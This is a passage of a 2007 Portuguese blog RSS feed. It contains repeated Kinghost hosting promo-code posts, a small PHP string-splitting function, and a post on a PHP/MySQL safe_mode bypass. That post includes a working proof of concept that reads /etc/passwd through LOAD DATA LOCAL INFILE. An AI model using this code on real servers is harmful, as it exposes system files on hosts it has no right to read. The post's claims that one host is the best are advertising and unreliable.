		<category><![CDATA[Postfix]]></category>
		<category><![CDATA[Postgre SQL]]></category>
		<category><![CDATA[VoIP]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[xalassa]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/20/codigo-promocional-kinghost/</guid>
		<description><![CDATA[Código promocional Kinghost! Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza... Acesse o link abaixo http://www.kinghost.com.br/promo/BIGDESCONTO.html ou digite o código promocional BIGDESCONTO no cadastro]]></description>
			<content:encoded><![CDATA[<p>Código promocional Kinghost!</p>
<p>Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza...</p>
<p>Acesse o link abaixo<br />
<a href="http://www.kinghost.com.br/promo/BIGDESCONTO.html">http://www.kinghost.com.br/promo/BIGDESCONTO.html</a><br />
ou digite o código promocional BIGDESCONTO no cadastro</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/20/codigo-promocional-kinghost/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP &#8211; explode por posição</title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/20/php-explode-por-posicao/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/20/php-explode-por-posicao/#comments</comments>
		<pubDate>Thu, 20 Sep 2007 01:22:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/20/php-explode-por-posicao/</guid>
		<description><![CDATA[funçãozinha para um colega, pediu pra meter um explode por posição, não sei se já existe algo que faça isso, se alguem souber, fala aí! PLAIN TEXT PHP: function explode_pos&#40;$str, $posicao&#41;&#123; &#160; &#160; $retorno = array&#40;&#41;; &#160; &#160; for&#40;$x=0; $x&#60;strlen&#40;$str&#41;; $x++&#41;&#123; &#160; &#160; &#160; &#160; if&#40;$x&#60;$posicao&#41;&#123; &#160; &#160; &#160; &#160; &#160; &#160; $retorno&#91;0&#93; .= $str&#123;$x&#125;; [...]]]></description>
			<content:encoded><![CDATA[<p>funçãozinha para um colega, pediu pra meter um explode por posição, não sei se já existe algo que faça isso, se alguem souber, fala aí!</p>
<div class="igBar"><span id="lphp-10"><a href="#" onclick="javascript:showPlainTxt('php-10'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-10">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">function</span> explode_pos<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$str</span>, <span style="color:#0000FF;">$posicao</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$retorno</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">for</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$x</span>=<span style="color:#CC66CC;color:#800000;">0</span>; <span style="color:#0000FF;">$x</span>&lt;strlen<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$str</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <span style="color:#0000FF;">$x</span>++<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$x</span>&lt;<span style="color:#0000FF;">$posicao</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$retorno</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#CC66CC;color:#800000;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span> .= <span style="color:#0000FF;">$str</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#0000FF;">$x</span><span style="color:#006600; font-weight:bold;">&#125;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#616100;">else</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#0000FF;">$retorno</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#CC66CC;color:#800000;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span> .= <span style="color:#0000FF;">$str</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#0000FF;">$x</span><span style="color:#006600; font-weight:bold;">&#125;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span>&nbsp; &nbsp;&nbsp; &nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">return</span> <span style="color:#0000FF;">$retorno</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/20/php-explode-por-posicao/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>vulnerabilidade PHP </title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/18/vulnerabilidade-php/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/18/vulnerabilidade-php/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 17:58:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/18/vulnerabilidade-php/</guid>
		<description><![CDATA[resumido rapidinho que estou com pressa... a vulnerabilidade afeta PHP's com extensão MySQL e MySQLi.... o erro está utilizando a lib do mysql (que não é monitorada pelo safe_mode), consegue ler um arquivo do servidor... exemplo: PLAIN TEXT PHP: &#60;?php &#160; file_get_contents&#40;'/etc/passwd'&#41;; &#160; $l = mysql_connect&#40;"localhost", "root"&#41;; mysql_query&#40;"CREATE DATABASE a"&#41;; mysql_query&#40;"CREATE TABLE a.a (a varchar(1024))"&#41;; [...]]]></description>
			<content:encoded><![CDATA[<p>resumido rapidinho que estou com pressa...</p>
<p>a vulnerabilidade afeta PHP's com extensão MySQL e MySQLi....</p>
<p>o erro está utilizando a lib do mysql (que não é monitorada pelo safe_mode), consegue ler um arquivo do servidor...<br />
exemplo:</p>
<div class="igBar"><span id="lphp-12"><a href="#" onclick="javascript:showPlainTxt('php-12'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-12">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/file_get_contents"><span style="color:#000066;">file_get_contents</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'/etc/passwd'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$l</span> = <a href="http://www.php.net/mysql_connect"><span style="color:#000066;">mysql_connect</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"localhost"</span>, <span style="color:#FF0000;">"root"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/mysql_query"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"CREATE DATABASE a"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/mysql_query"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"CREATE TABLE a.a (a varchar(1024))"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/mysql_query"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/mysql_close"><span style="color:#000066;">mysql_close</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$l</span><span style="color:#006600; font-weight:bold;">&#41;</span>; <a href="http://www.php.net/mysql_connect"><span style="color:#000066;">mysql_connect</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"localhost"</span>, <span style="color:#FF0000;">"aaaa"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/mysql_query"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$result</span> = <a href="http://www.php.net/mysql_query"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"SELECT a FROM a.a"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/list"><span style="color:#000066;">list</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$row</span><span style="color:#006600; font-weight:bold;">&#41;</span> = <a href="http://www.php.net/mysql_fetch_row"><span style="color:#000066;">mysql_fetch_row</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$result</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <a href="http://www.php.net/print"><span style="color:#000066;">print</span></a> <span style="color:#0000FF;">$row</span> . <a href="http://www.php.net/chr"><span style="color:#000066;">chr</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#CC66CC;color:#800000;">10</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">?&gt;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>várias empresas de host estão vulneráveis, mas como eu sempre digo, a melhor hospedagem do brasil é a kinghost, o pessoal já corrigiu essa falha de segurança....</p>
<p>hospede seu site na kinghost e ganhe um desconto:<br />
Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza&#8230;</p>
<p>Acesse o link abaixo<br />
<a href="http://www.kinghost.com.br/promo/BIGDESCONTO.html">http://www.kinghost.com.br/promo/BIGDESCONTO.html</a><br />
ou digite o código promocional BIGDESCONTO no cadastro</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/18/vulnerabilidade-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desconto Hospedagem Kinghost</title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/14/desconto-hospedagem-kinghost/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/14/desconto-hospedagem-kinghost/#comments</comments>
		<pubDate>Fri, 14 Sep 2007 04:29:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MS SQL Server]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Postfix]]></category>
		<category><![CDATA[Postgre SQL]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/14/desconto-hospedagem-kinghost/</guid>
		<description><![CDATA[Código promocional Kinghost! Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza... Acesse o link abaixo http://www.kinghost.com.br/promo/BIGDESCONTO.html ou digite o código promocional BIGDESCONTO no cadastro]]></description>
			<content:encoded><![CDATA[<p>Código promocional Kinghost!</p>
<p>Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza...</p>
<p>Acesse o link abaixo<br />
<a href="http://www.kinghost.com.br/promo/BIGDESCONTO.html">http://www.kinghost.com.br/promo/BIGDESCONTO.html</a><br />
ou digite o código promocional BIGDESCONTO no cadastro</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/14/desconto-hospedagem-kinghost/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
